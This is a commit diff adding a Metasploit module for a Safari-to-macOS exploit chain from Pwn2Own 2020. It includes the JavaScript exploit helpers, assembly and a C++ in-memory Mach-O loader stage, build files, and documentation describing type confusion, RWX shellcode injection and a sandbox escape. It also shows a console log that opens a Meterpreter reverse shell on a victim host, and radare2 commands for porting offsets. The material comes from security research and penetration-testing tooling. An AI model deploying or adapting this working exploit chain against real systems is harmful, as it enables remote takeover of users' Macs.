Land #13996, Add module for CVE-2020-9801, CVE-2020-9850 and CVE-2020-9856,
RCE for Safari on macOS 10.15.3 (pwn2own2020) Merge branch 'land-13996' into upstream-master
This commit is contained in:
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
@@ -79,17 +79,41 @@ function Int64(v) {
|
||||
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||
};
|
||||
|
||||
this.lo = function()
|
||||
{
|
||||
this.lo = function() {
|
||||
var b = this.bytes();
|
||||
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
||||
};
|
||||
|
||||
this.hi = function()
|
||||
{
|
||||
this.hi = function() {
|
||||
var b = this.bytes();
|
||||
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
|
||||
};
|
||||
|
||||
this.asInt32 = function() {
|
||||
var value = new Int64(0);
|
||||
for (var i = 0; i < 8; i++) {
|
||||
if (i < 4) {
|
||||
value.bytes[i] = this.bytes[i];
|
||||
} else {
|
||||
value.bytes[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
return parseInt('0x' + hexlify(Array.from(value.bytes).reverse()).slice(-8));
|
||||
};
|
||||
|
||||
this.asInt16 = function() {
|
||||
var value = new Int64(0);
|
||||
for (var i = 0; i < 8; i++) {
|
||||
if (i < 2) {
|
||||
value.bytes[i] = this.bytes[i];
|
||||
} else {
|
||||
value.bytes[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
return parseInt('0x' + hexlify(Array.from(value.bytes).reverse()).slice(-8));
|
||||
};
|
||||
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
@@ -138,20 +162,44 @@ function Int64(v) {
|
||||
}, 2);
|
||||
|
||||
// this = a ^ b
|
||||
this.assignXor = operation(function sub(a, b) {
|
||||
this.assignXor = operation(function xor(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
|
||||
// this = a & b
|
||||
this.assignAnd = operation(function sub(a, b) {
|
||||
this.assignAnd = operation(function and(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) & b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2)
|
||||
}, 2);
|
||||
|
||||
// this = a << b
|
||||
this.assignShiftLeft = operation(function shiftLeft(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
if (i < b) {
|
||||
bytes[i] = 0;
|
||||
} else {
|
||||
bytes[i] = a.byteAt(Sub(i, b).asInt32());
|
||||
}
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a >> b
|
||||
this.assignShiftRight = operation(function shiftRight(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
if (i < (8 - b)) {
|
||||
bytes[i] = a.byteAt(Add(i, b).asInt32());
|
||||
} else {
|
||||
bytes[i] = 0;
|
||||
}
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
}
|
||||
|
||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||
@@ -187,6 +235,16 @@ function And(a, b) {
|
||||
return (new Int64()).assignAnd(a, b);
|
||||
}
|
||||
|
||||
// Return a << b
|
||||
function ShiftLeft(a, b) {
|
||||
return (new Int64()).assignShiftLeft(a, b);
|
||||
}
|
||||
|
||||
// Return a >> b
|
||||
function ShiftRight(a, b) {
|
||||
return (new Int64()).assignShiftRight(a, b);
|
||||
}
|
||||
|
||||
// Some commonly used numbers.
|
||||
Int64.Zero = new Int64(0);
|
||||
Int64.One = new Int64(1);
|
||||
@@ -64,8 +64,6 @@ function b2u32(b)
|
||||
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
function off2addr(segs, off)
|
||||
{
|
||||
if(!(off instanceof Int64)) off = new Int64(off);
|
||||
@@ -138,47 +136,11 @@ function fsyms(mem, base, segs, want, syms)
|
||||
return syms;
|
||||
}
|
||||
|
||||
function strcmp(b, str)
|
||||
{
|
||||
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
|
||||
for(var i = 0; i < str.length; ++i)
|
||||
{
|
||||
if(fn(i) != str.charCodeAt(i))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return fn(str.length) == 0;
|
||||
}
|
||||
|
||||
function _u32(i)
|
||||
{
|
||||
return b2u32(this.read(i, 4));
|
||||
}
|
||||
|
||||
function _read(i, l)
|
||||
{
|
||||
if (i instanceof Int64) i = i.lo();
|
||||
if (l instanceof Int64) l = l.lo();
|
||||
if (i + l > this.length)
|
||||
{
|
||||
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
|
||||
}
|
||||
return this.slice(i, i + l);
|
||||
}
|
||||
|
||||
function _readInt64(addr)
|
||||
{
|
||||
return new Int64(this.read(addr, 8));
|
||||
}
|
||||
|
||||
function _writeInt64(i, val)
|
||||
{
|
||||
if (i instanceof Int64) i = i.lo();
|
||||
this.set(val.bytes(), i);
|
||||
}
|
||||
|
||||
|
||||
// Simplified version of the similarly named python module.
|
||||
var Struct = (function() {
|
||||
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||
@@ -0,0 +1,79 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an incorrect side-effect modeling of the 'in' operator.
|
||||
The DFG compiler assumes that the 'in' operator is side-effect free, however
|
||||
the `<embed>` element with the PDF plugin provides a callback that can trigger
|
||||
side-effects leading to type confusion (CVE-2020-9850).
|
||||
|
||||
The type confusion can be used as addrof and fakeobj primitives that then
|
||||
lead to arbitrary read/write of memory. These primitives allow us to write
|
||||
shellcode into a JIT region (RWX memory) containing the next stage of the
|
||||
exploit.
|
||||
|
||||
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
|
||||
and extracts a macOS application containing our payload into /var/db/CVMS.
|
||||
The payload can then be opened with CVE-2020-9801, executing the payload
|
||||
as a user but without sandbox restrictions.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
1. `use exploit/osx/browser/safari_in_operator_side_effect`
|
||||
1. `set LHOST <tab>`
|
||||
1. `set SRVHOST <tab>`
|
||||
1. `exploit`
|
||||
1. Visit the URL on a vulnerable version of Safari
|
||||
|
||||
## Scenarios
|
||||
|
||||
### macOS Catalina 10.15.4
|
||||
|
||||
```
|
||||
msf6 > use exploit/osx/browser/safari_in_operator_side_effect
|
||||
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf6 exploit(osx/browser/safari_in_operator_side_effect) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(osx/browser/safari_in_operator_side_effect) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.56.4 safari_in_operator_side_effect - Request / from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
|
||||
[+] 192.168.56.4 safari_in_operator_side_effect - Safari version 13.1 appears to be vulnerable
|
||||
[*] 192.168.56.4 safari_in_operator_side_effect - Request /LmcM.pdf from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
|
||||
[*] Transmitting first stager...(210 bytes)
|
||||
[*] Transmitting second stager...(8192 bytes)
|
||||
[*] Sending stage (799916 bytes) to 192.168.56.4
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.4:49409) at 2020-09-04 15:05:52 +0800
|
||||
```
|
||||
|
||||
### Adding offsets for new versions
|
||||
|
||||
Although all macOS versions below 10.15.4 are vulnerable, some versions are not
|
||||
supported. It may be possible to add support for a vulnerable version by adding
|
||||
new offsets. The following commands can be used to gather some of these offsets:
|
||||
|
||||
```
|
||||
brew install radare2
|
||||
r2 /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/JavaScriptCore -2qQ -c 'af; s sym.imp.confstr; s'
|
||||
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym._confstr; s'
|
||||
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlsym; s'
|
||||
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlopen; s'
|
||||
```
|
||||
|
||||
You can then add the offsets to the module:
|
||||
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`
|
||||
|
||||
You may also need to adjust the offsets here:
|
||||
|
||||
`external/source/exploits/CVE-2020-9850/payload/sbx/safari.mm:53`
|
||||
|
||||
Please don't forget to contribute the offsets back to the framework if you have
|
||||
successfully tested them.
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
/stage0.bin
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
all: stage0.bin
|
||||
make -C payload/loader
|
||||
make -C payload/sbx
|
||||
|
||||
stage0.bin: payload/stage0.asm
|
||||
nasm -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f stage0.bin payload.js
|
||||
make clean -C payload/loader
|
||||
make clean -C payload/sbx
|
||||
|
||||
install:
|
||||
mkdir -p ../../../../data/exploits/CVE-2020-9850/
|
||||
cp stage0.bin ../../../../data/exploits/CVE-2020-9850/stage0.bin
|
||||
cp payload/loader/loader.bin ../../../../data/exploits/CVE-2020-9850/loader.bin
|
||||
cp payload/sbx/sbx ../../../../data/exploits/CVE-2020-9850/sbx.bin
|
||||
echo "Installed!"
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -0,0 +1,50 @@
|
||||
Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities
|
||||
======================================================================================
|
||||
|
||||
Overview
|
||||
---------
|
||||
This repository contains exploitation and technical details of [our Pwn2Own
|
||||
2020 winning submission targeting Apple Safari with a kernel escalation
|
||||
of privilege for macOS 10.15.3](https://www.thezdi.com/blog/2020/3/17/welcome-to-pwn2own-2020-the-schedule-and-live-results).
|
||||
For further information, you can also check [our Blackhat USA 2020
|
||||
slides](https://gts3.org/assets/papers/2020/jin:pwn2own2020-safari-slides.pdf).
|
||||
This repository also includes [our demo video](./movie.mov) for the succesful
|
||||
exploitation.
|
||||
|
||||
|
||||
Build from source
|
||||
-----------------
|
||||
|
||||
```shell
|
||||
# Install xcode first
|
||||
$ python3 -m pip install --user "lief==0.10.1"
|
||||
$ make
|
||||
```
|
||||
|
||||
Authors
|
||||
-------
|
||||
- Yonghwi Jin (jinmoteam@gmail.com)
|
||||
- Jungwon Lim (setuid0@protonmail.com)
|
||||
- Insu Yun (insu@gatech.edu)
|
||||
- Taesoo Kim (taesoo@gatech.edu)
|
||||
|
||||
Citation
|
||||
--------
|
||||
```txt
|
||||
@inproceedings{jin:pwn2own2020-safari,
|
||||
title = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
|
||||
author = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
|
||||
booktitle = {Black Hat USA Briefings (Black Hat USA)},
|
||||
month = aug,
|
||||
year = 2020,
|
||||
address = {Las Vegas, NV},
|
||||
}
|
||||
```
|
||||
|
||||
Reference
|
||||
---------
|
||||
- https://github.com/sslab-gatech/pwn2own2020
|
||||
- https://github.com/saelo/pwn2own2018
|
||||
- https://github.com/LinusHenze/WebKit-RegEx-Exploit
|
||||
- https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
|
||||
- https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
|
||||
@@ -0,0 +1,2 @@
|
||||
/loader.bin
|
||||
/libloader.dylib
|
||||
@@ -0,0 +1,14 @@
|
||||
CXXFLAGS := -fno-stack-protector -Os -DCURRENT_DIR=\"$(CURDIR)\" -std=c++17 -shared -fpic
|
||||
|
||||
all: loader.bin
|
||||
|
||||
loader.bin: libloader.dylib
|
||||
./make.py $^ $@
|
||||
|
||||
libloader.dylib: loader.cpp entry.s
|
||||
$(CXX) $(CXXFLAGS) $< -o $@
|
||||
|
||||
clean:
|
||||
rm loader.bin libloader.dylib
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -0,0 +1,93 @@
|
||||
.intel_syntax noprefix
|
||||
.globl _dlopen_ptr
|
||||
.globl _dlsym_ptr
|
||||
|
||||
lea rcx, [rbp+0x10]
|
||||
mov rax, [rbp+0x8]
|
||||
mov rdi, [rax+0x10]
|
||||
|
||||
mov rax, [rsp] // return address
|
||||
sub rax, [rip+JSC_llint_entry_call_offset]
|
||||
mov r9, rax // [scratch] r9 = JavaScriptCore.__TEXT.__text
|
||||
|
||||
add rax, [rip+JSC_confstr_stub_offset]
|
||||
xor rbx, rbx
|
||||
mov ebx, [rax + 2]
|
||||
add rax, rbx
|
||||
add rax, 6
|
||||
mov rax, [rax]
|
||||
sub rax, [rip+libsystem_c_confstr_offset]
|
||||
mov r10, rax // [scratch] r10 = libsystem_c base
|
||||
|
||||
mov rax, r10
|
||||
add rax, [rip+libsystem_c_dlopen_stub_offset]
|
||||
mov rsi, rax
|
||||
|
||||
mov rax, r10
|
||||
add rax, [rip+libsystem_c_dlsym_stub_offset]
|
||||
mov rdx, rax
|
||||
|
||||
call _main
|
||||
ret
|
||||
|
||||
_main:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
push r14
|
||||
push r15
|
||||
and rsp, ~0xf
|
||||
|
||||
mov [rip+_dlopen_ptr], rsi
|
||||
mov [rip+_dlsym_ptr], rdx
|
||||
|
||||
// rdi == library base pointer (mach-o header)
|
||||
// rsi == argv
|
||||
mov rsi, rcx
|
||||
call _load
|
||||
|
||||
lea rsp, [rbp - 0x10]
|
||||
pop r15
|
||||
pop r14
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
_mmap:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
push r15
|
||||
push r14
|
||||
push r12
|
||||
push rbx
|
||||
mov eax, 0x20000C5
|
||||
mov r10, rcx
|
||||
syscall
|
||||
pop rbx
|
||||
pop r12
|
||||
pop r14
|
||||
pop r15
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
_dlopen_ptr: .quad 0
|
||||
_dlsym_ptr: .quad 0
|
||||
|
||||
JSC_confstr_stub_offset: .quad 0x0FF5370041414141
|
||||
JSC_llint_entry_call_offset: .quad 0x0FF5370041414142
|
||||
libsystem_c_confstr_offset: .quad 0x0FF5370041414143
|
||||
libsystem_c_dlopen_stub_offset: .quad 0x0FF5370041414144
|
||||
libsystem_c_dlsym_stub_offset: .quad 0x0FF5370041414145
|
||||
|
||||
//10.15.3
|
||||
//JSC_confstr_stub_offset: .quad 0xE7D8B4
|
||||
//JSC_llint_entry_call_offset: .quad 0x00361f13
|
||||
//libsystem_c_confstr_offset: .quad 0x00002644
|
||||
//libsystem_c_dlopen_stub_offset: .quad 0x80430
|
||||
//libsystem_c_dlsym_stub_offset: .quad 0x80436
|
||||
|
||||
//10.15.4
|
||||
//JSC_confstr_stub_offset: .quad 0xF96446
|
||||
//JSC_llint_entry_call_offset: .quad 0x00380a1d
|
||||
//libsystem_c_confstr_offset: .quad 0x00002be4
|
||||
//libsystem_c_dlopen_stub_offset: .quad 0x8021e
|
||||
//libsystem_c_dlsym_stub_offset: .quad 0x80224
|
||||
|
||||
@@ -0,0 +1,292 @@
|
||||
#include <mach-o/loader.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
#define printf(...)
|
||||
#define setvbuf(...)
|
||||
|
||||
extern void *(*dlopen_ptr)(const char *path, int mode);
|
||||
extern void *(*dlsym_ptr)(void *handle, const char *symbol);
|
||||
|
||||
__asm__(".include \"" CURRENT_DIR "/entry.s\"");
|
||||
|
||||
inline void exit(int n) {
|
||||
printf("%d\n", n);
|
||||
}
|
||||
|
||||
inline void memcpy(void *dst, void *src, size_t n) {
|
||||
char *dst_ = (char *)dst, *src_ = (char *)src;
|
||||
while(n--)
|
||||
*dst_++ = *src_++;
|
||||
}
|
||||
|
||||
inline int memcmp(void *dst, void *src, size_t n) {
|
||||
char *dst_ = (char *)dst, *src_ = (char *)src;
|
||||
while(n--) if(*dst_++ != *src_++) return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
inline uint64_t read_uleb128(uint8_t*& p, uint8_t* end)
|
||||
{
|
||||
uint64_t result = 0;
|
||||
int bit = 0;
|
||||
do {
|
||||
if ( p == end ) {
|
||||
exit(1);
|
||||
break;
|
||||
}
|
||||
uint64_t slice = *p & 0x7f;
|
||||
|
||||
if ( bit > 63 ) {
|
||||
exit(2);
|
||||
break;
|
||||
}
|
||||
else {
|
||||
result |= (slice << bit);
|
||||
bit += 7;
|
||||
}
|
||||
}
|
||||
while (*p++ & 0x80);
|
||||
return result;
|
||||
}
|
||||
|
||||
inline void vm_(uint64_t base, void **libs, load_command **commands, void *mem, uint8_t *cmd, size_t size) {
|
||||
uint8_t *p = cmd, *end = cmd + size;
|
||||
int ordinal = 0, libIndex = 0;
|
||||
const char *symbolName;
|
||||
bool done = false;
|
||||
uint8_t segIndex;
|
||||
uintptr_t segOffset;
|
||||
off_t offset;
|
||||
int type;
|
||||
// ported from dyld
|
||||
while ( !done && (p < end) ) {
|
||||
uint8_t immediate = *p & BIND_IMMEDIATE_MASK;
|
||||
uint8_t opcode = *p & BIND_OPCODE_MASK;
|
||||
++p;
|
||||
switch (opcode) {
|
||||
case BIND_OPCODE_DONE:
|
||||
break;
|
||||
case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:
|
||||
libIndex = immediate;
|
||||
break;
|
||||
case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:
|
||||
libIndex = (int)read_uleb128(p, end);
|
||||
break;
|
||||
case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:
|
||||
// the special ordinals are negative numbers
|
||||
if ( immediate == 0 )
|
||||
ordinal = 0;
|
||||
else {
|
||||
int8_t signExtended = BIND_OPCODE_MASK | immediate;
|
||||
ordinal = signExtended;
|
||||
}
|
||||
break;
|
||||
case BIND_OPCODE_ADD_ADDR_ULEB:
|
||||
segOffset += read_uleb128(p, end);
|
||||
break;
|
||||
case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:
|
||||
symbolName = (char*)p;
|
||||
while (*p != '\0')
|
||||
++p;
|
||||
++p;
|
||||
break;
|
||||
case BIND_OPCODE_SET_TYPE_IMM:
|
||||
type = immediate;
|
||||
break;
|
||||
case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
|
||||
segIndex = immediate;
|
||||
segOffset = read_uleb128(p, end);
|
||||
break;
|
||||
case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB: {
|
||||
uint64_t count = read_uleb128(p, end);
|
||||
uint64_t skip = read_uleb128(p, end);
|
||||
segOffset += count * (skip + sizeof(intptr_t));
|
||||
break;
|
||||
}
|
||||
case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:
|
||||
case BIND_OPCODE_DO_BIND: {
|
||||
void *res = dlsym_ptr(libs[libIndex], symbolName + 1);
|
||||
offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base;
|
||||
printf("%llx (+%lx) %s %d\n", offset, segOffset, symbolName, type);
|
||||
printf("dlsym(libs[%d] == %p, \"%s\") == %p\n", libIndex, libs[libIndex], symbolName + 1, res);
|
||||
if(symbolName[0] == '_')
|
||||
*(void **)((char *)mem + offset) = res;
|
||||
// if not, it's from dyld I guess
|
||||
segOffset += 8;
|
||||
if(opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED)
|
||||
segOffset += immediate * 8;
|
||||
break;
|
||||
}
|
||||
default:
|
||||
printf("WARNING: unsupported command: 0x%x\n", opcode);
|
||||
// exit(-1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
inline void rebase_vm_(uint64_t base, void **libs, load_command **commands, void *map, uint8_t *cmd, size_t size) {
|
||||
uint8_t *p = cmd, *end = cmd + size;
|
||||
uint8_t type = 0;
|
||||
int segIndex = 0;
|
||||
uint64_t segOffset = 0;
|
||||
uint64_t count;
|
||||
uint64_t skip;
|
||||
bool segIndexSet = false;
|
||||
bool stop = false;
|
||||
int ptrSize = 8;
|
||||
while ( !stop && (p < end) ) {
|
||||
uint8_t immediate = *p & REBASE_IMMEDIATE_MASK;
|
||||
uint8_t opcode = *p & REBASE_OPCODE_MASK;
|
||||
++p;
|
||||
switch (opcode) {
|
||||
case REBASE_OPCODE_DONE:
|
||||
if ( (end - p) > 8 )
|
||||
exit(100);
|
||||
stop = true;
|
||||
break;
|
||||
case REBASE_OPCODE_SET_TYPE_IMM:
|
||||
type = immediate;
|
||||
break;
|
||||
case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
|
||||
segIndex = immediate;
|
||||
segOffset = read_uleb128(p, end);
|
||||
segIndexSet = true;
|
||||
break;
|
||||
case REBASE_OPCODE_ADD_ADDR_ULEB:
|
||||
segOffset += read_uleb128(p, end);
|
||||
break;
|
||||
case REBASE_OPCODE_ADD_ADDR_IMM_SCALED:
|
||||
segOffset += immediate*ptrSize;
|
||||
break;
|
||||
case REBASE_OPCODE_DO_REBASE_IMM_TIMES:
|
||||
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES:
|
||||
if(opcode == REBASE_OPCODE_DO_REBASE_IMM_TIMES)
|
||||
count = immediate;
|
||||
else
|
||||
count = read_uleb128(p, end);
|
||||
for (uint32_t i=0; i < count; ++i) {
|
||||
uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base;
|
||||
printf("rebase %lx (+%llx)\n", offset, segOffset);
|
||||
*(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base);
|
||||
segOffset += ptrSize;
|
||||
}
|
||||
break;
|
||||
case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB: {
|
||||
uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base;
|
||||
printf("rebase %lx (+%llx)\n", offset, segOffset);
|
||||
*(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base);
|
||||
segOffset += read_uleb128(p, end) + ptrSize;
|
||||
break;
|
||||
}
|
||||
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB:
|
||||
count = read_uleb128(p, end);
|
||||
skip = read_uleb128(p, end);
|
||||
for (uint32_t i=0; i < count; ++i) {
|
||||
uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base;
|
||||
printf("rebase %lx (+%llx)\n", offset, segOffset);
|
||||
*(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base);
|
||||
segOffset += skip + ptrSize;
|
||||
if ( stop )
|
||||
break;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
exit(101);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#define vm(offset, size) vm_(base, libs, commands, map, (uint8_t *)mem + offset, size)
|
||||
#define rebase_vm(offset, size) rebase_vm_(base, libs, commands, map, (uint8_t *)mem + offset, size)
|
||||
|
||||
extern "C" void load(void *mem, void *args) {
|
||||
setvbuf(stdout, 0, _IONBF, 0);
|
||||
mach_header *header = (mach_header *)mem;
|
||||
load_command* startCmds = (load_command*)((char *)header + sizeof(mach_header_64));
|
||||
load_command *cmd;
|
||||
|
||||
printf("%x %x\n", header->magic, MH_MAGIC_64);
|
||||
size_t highest_address = 0;
|
||||
|
||||
load_command *commands[0x80];
|
||||
void *libs[0x80 + 1];
|
||||
int libCount = 1;
|
||||
uint64_t base = 0;
|
||||
char pagezero[] = "__PAGEZERO";
|
||||
|
||||
#define LC cmd = startCmds; for (uint32_t i = 0; i < header->ncmds; ++i, cmd = (load_command*)((char *)cmd + cmd->cmdsize))
|
||||
|
||||
LC {
|
||||
if(cmd->cmd != LC_SEGMENT_64) continue;
|
||||
auto seg = (segment_command_64 *)cmd;
|
||||
size_t end = seg->vmaddr + seg->vmsize;
|
||||
|
||||
if(!memcmp(seg->segname, (void *)pagezero, 11))
|
||||
base = seg->vmsize;
|
||||
|
||||
if(highest_address < end) {
|
||||
highest_address = end;
|
||||
}
|
||||
|
||||
commands[i] = cmd;
|
||||
}
|
||||
|
||||
highest_address -= base;
|
||||
commands[header->ncmds] = 0;
|
||||
|
||||
printf("%lx\n", highest_address);
|
||||
void *map = mmap(NULL, highest_address, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE|MAP_JIT, -1, 0);
|
||||
|
||||
uint64_t entry = 0;
|
||||
dysymtab_command *symtab;
|
||||
|
||||
LC {
|
||||
if(cmd->cmd == LC_SEGMENT_64) {
|
||||
auto seg = (segment_command_64 *)cmd;
|
||||
memcpy((char *)map + seg->vmaddr - base, (char *)mem + seg->fileoff, seg->filesize);
|
||||
}
|
||||
|
||||
if(cmd->cmd == 0x80000028) {
|
||||
auto entrycmd = (entry_point_command *)cmd;
|
||||
entry = entrycmd->entryoff;
|
||||
}
|
||||
|
||||
if(cmd->cmd == LC_SYMTAB) {
|
||||
symtab = (dysymtab_command *)cmd;
|
||||
}
|
||||
|
||||
if(cmd->cmd == LC_LOAD_DYLIB) {
|
||||
auto dylib = (dylib_command *)cmd;
|
||||
libs[libCount++] = dlopen_ptr((const char *)dylib + dylib->dylib.name.offset, RTLD_LAZY);
|
||||
}
|
||||
}
|
||||
|
||||
LC {
|
||||
printf("cmd: %x\n", cmd->cmd);
|
||||
|
||||
if(cmd->cmd == LC_DYLD_INFO_ONLY) {
|
||||
auto dyld = (dyld_info_command *)cmd;
|
||||
|
||||
rebase_vm(dyld->rebase_off, dyld->rebase_size);
|
||||
vm(dyld->bind_off, dyld->bind_size);
|
||||
vm(dyld->lazy_bind_off, dyld->lazy_bind_size);
|
||||
}
|
||||
}
|
||||
|
||||
if(!entry) {
|
||||
for(size_t i = 0; i < highest_address; i++) {
|
||||
int *cur = (int *)((char *)map + i);
|
||||
if(cur[0] == 0x13371337) {
|
||||
entry = i + 16;
|
||||
printf("%lx %llx\n", i, entry);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
entry += (uint64_t)map;
|
||||
printf("%p\n", (void *)entry);
|
||||
((void (*)(int, void *))(entry))(1, args);
|
||||
}
|
||||
+8
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import lief
|
||||
import sys
|
||||
|
||||
p = lief.parse(sys.argv[1])
|
||||
loader = bytes(p.get_section('__text').content)
|
||||
open(sys.argv[2], 'wb').write(loader)
|
||||
@@ -0,0 +1,8 @@
|
||||
/threadexec
|
||||
/WebKit
|
||||
|
||||
/bundle.hh
|
||||
/sbx
|
||||
/sbx.dSYM
|
||||
/cvm_side
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
# Copy flags from WebKit
|
||||
SBX_INCLUDES := -Ithreadexec/include \
|
||||
-IWebKit/Source/WebCore/platform/network/cf \
|
||||
-IWebKit/Source/WebCore/platform/network \
|
||||
-IWebKit/Source/WTF \
|
||||
-IWebKit/Source/WTF/icu
|
||||
|
||||
SBX_WEBKIT_FLAGS := -fmessage-length=0 -fdiagnostics-show-note-include-stack -fmacro-backtrace-limit=0 -std=gnu++1z -stdlib=libc++ -Wno-trigraphs -fno-exceptions -fno-rtti -fno-sanitize=vptr -fpascal-strings -O3 -fno-common -Wno-missing-field-initializers -Wunreachable-code -Wnon-virtual-dtor -Wno-overloaded-virtual -Wno-exit-time-destructors -Wno-missing-braces -Wparentheses -Wswitch -Wunused-function -Wno-unused-label -Wno-unused-parameter -Wunused-value -Wempty-body -Wuninitialized -Wno-unknown-pragmas -Wno-shadow -Wno-four-char-constants -Wno-conversion -Wconstant-conversion -Wint-conversion -Wbool-conversion -Wenum-conversion -Wno-float-conversion -Wnon-literal-null-conversion -Wobjc-literal-conversion -Wsign-compare -Wno-shorten-64-to-32 -Wnewline-eof -Wno-c++11-extensions -DNDEBUG -DU_DISABLE_RENAMING=1 -DU_SHOW_CPLUSPLUS_API=0 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk -fasm-blocks -fstrict-aliasing -Wdeprecated-declarations -Winvalid-offsetof -g -fvisibility=hidden -fvisibility-inlines-hidden -fno-threadsafe-statics -Wno-sign-conversion -Winfinite-recursion -Wmove -Wcomma -Wblock-capture-autoreleasing -Wstrict-prototypes -Wrange-loop-analysis -Wno-semicolon-before-method-body -isystem /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/usr/local/include
|
||||
|
||||
SBX_CXXFLAGS = $(SBX_INCLUDES) $(SBX_WEBKIT_FLAGS) \
|
||||
-DCURRENT_DIR=\"$(CURDIR)\" \
|
||||
|
||||
SBX_LDFLAGS = \
|
||||
-target x86_64-apple-macos10.15 \
|
||||
-framework JavaScriptCore \
|
||||
-framework CoreFoundation \
